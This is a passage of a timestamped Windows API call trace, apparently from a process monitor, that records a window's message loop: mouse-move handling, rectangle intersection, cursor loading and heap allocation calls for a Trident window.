out: lprcDst=0x30f108) returned 1 [0084.068] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.068] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.068] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.068] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.068] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.068] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.068] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.068] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.068] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.069] GetCurrentThreadId () returned 0xcd8 [0084.069] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.069] GetCurrentThreadId () returned 0xcd8 [0084.069] GetCurrentThreadId () returned 0xcd8 [0084.069] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.069] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.069] NtdllDefWindowProc_W () returned 0x0 [0084.069] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.069] GetCurrentThreadId () returned 0xcd8 [0084.069] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.070] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.070] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.070] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.070] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.070] GetCurrentThreadId () returned 0xcd8 [0084.070] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.070] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.070] GetMessageTime () returned 212457 [0084.070] GetMessagePos () returned 0x218027c [0084.070] GetCapture () returned 0x0 [0084.070] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.070] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.070] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.070] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.070] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.070] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.070] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.070] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.070] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.070] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.070] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.070] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.070] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.071] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.071] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.071] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.071] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.071] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.071] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.071] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.071] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.071] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.071] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.071] GetCursor () returned 0x10003 [0084.071] GetCurrentThreadId () returned 0xcd8 [0084.071] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.071] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.071] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.071] GetMessageTime () returned 212473 [0084.071] GetMessagePos () returned 0x218027c [0084.071] GetCapture () returned 0x0 [0084.071] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.071] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.071] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.071] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.071] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.071] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.071] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.071] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.071] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.071] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.072] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.072] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.072] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.072] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.072] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.072] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.072] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.072] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.072] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.072] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.072] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.072] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.072] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.072] GetCurrentThreadId () returned 0xcd8 [0084.072] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.072] GetCurrentThreadId () returned 0xcd8 [0084.072] GetCurrentThreadId () returned 0xcd8 [0084.072] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.073] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.073] NtdllDefWindowProc_W () returned 0x0 [0084.073] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.073] GetCurrentThreadId () returned 0xcd8 [0084.073] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.073] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.073] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.073] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.073] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.073] GetCurrentThreadId () returned 0xcd8 [0084.073] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.073] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.073] GetMessageTime () returned 212473 [0084.074] GetMessagePos () returned 0x218027c [0084.074] GetCapture () returned 0x0 [0084.074] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.074] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.074] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.074] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.074] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.074] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.074] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.074] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.074] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.074] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.074] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.074] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.074] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.074] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.074] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.074] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.074] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.074] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.074] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.074] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.074] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.074] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.074] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.074] GetCursor () returned 0x10003 [0084.074] GetCurrentThreadId () returned 0xcd8 [0084.074] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.074] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.074] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.075] GetMessageTime () returned 212473 [0084.075] GetMessagePos () returned 0x218027c [0084.075] GetCapture () returned 0x0 [0084.075] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.075] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.075] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.075] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.075] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.075] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.075] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.075] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.075] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.075] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.075] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.075] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.075] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.075] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.075] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.075] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.075] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.075] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.075] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.075] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.075] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.075] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.076] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.076] GetCurrentThreadId () returned 0xcd8 [0084.076] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.076] GetCurrentThreadId () returned 0xcd8 [0084.076] GetCurrentThreadId () returned 0xcd8 [0084.076] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.076] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.076] NtdllDefWindowProc_W () returned 0x0 [0084.076] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.076] GetCurrentThreadId () returned 0xcd8 [0084.076] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.128] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.128] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.128] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.128] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.128] GetCurrentThreadId () returned 0xcd8 [0084.128] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.128] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.128] GetMessageTime () returned 212473 [0084.128] GetMessagePos () returned 0x218027c [0084.128] GetCapture () returned 0x0 [0084.128] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.128] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.128] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.128] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.128] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.128] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.128] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.128] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.128] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.128] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.128] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.128] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.129] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.129] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.129] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.129] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.129] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.129] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.129] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.129] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.129] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.129] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.129] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.129] GetCursor () returned 0x10003 [0084.129] GetCurrentThreadId () returned 0xcd8 [0084.129] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.129] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.129] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.129] GetMessageTime () returned 212520 [0084.129] GetMessagePos () returned 0x218027c [0084.129] GetCapture () returned 0x0 [0084.129] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.129] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.129] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.129] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.129] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.129] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.129] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.129] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.130] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.130] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.130] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.130] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.130] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.130] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.130] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.130] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.130] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.130] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.130] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.130] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.130] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.130] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.130] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.130] GetCurrentThreadId () returned 0xcd8 [0084.130] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.130] GetCurrentThreadId () returned 0xcd8 [0084.131] GetCurrentThreadId () returned 0xcd8 [0084.131] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.131] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.131] NtdllDefWindowProc_W () returned 0x0 [0084.131] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.131] GetCurrentThreadId () returned 0xcd8 [0084.131] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.163] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.163] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.163] GetCapture () returned 0x0 [0084.163] WindowFromPoint (Point=0x27c) returned 0x60018 [0084.163] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.163] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0084.163] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0084.163] PtInRect (lprc=0x30f390, pt=0x1c5) returned 1 [0084.163] GetCurrentThreadId () returned 0xcd8 [0084.163] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.276] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.276] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.276] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.276] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.276] GetCurrentThreadId () returned 0xcd8 [0084.276] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.276] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.277] GetMessageTime () returned 212566 [0084.277] GetMessagePos () returned 0x218027c [0084.277] GetCapture () returned 0x0 [0084.277] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.277] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.277] IntersectRect 